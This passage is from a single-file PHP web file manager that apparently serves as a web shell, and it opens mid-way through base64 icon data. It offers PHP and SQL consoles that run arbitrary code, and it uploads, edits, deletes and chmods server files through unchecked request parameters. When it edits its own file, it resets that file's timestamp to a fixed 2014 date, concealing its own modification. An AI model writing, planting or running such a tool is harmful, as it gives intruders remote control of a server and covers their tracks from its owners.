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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated'); else $msg_ntimes .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg_ntimes .= (__('File updated')); else $msg_ntimes .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_ntimes .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //quanxian gai bian hou xu yao xi tong chongqi $msg_ntimes = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg_ntimes .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_ntimes .= __('Error occurred'); } else { fclose($fp); $msg_ntimes .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. 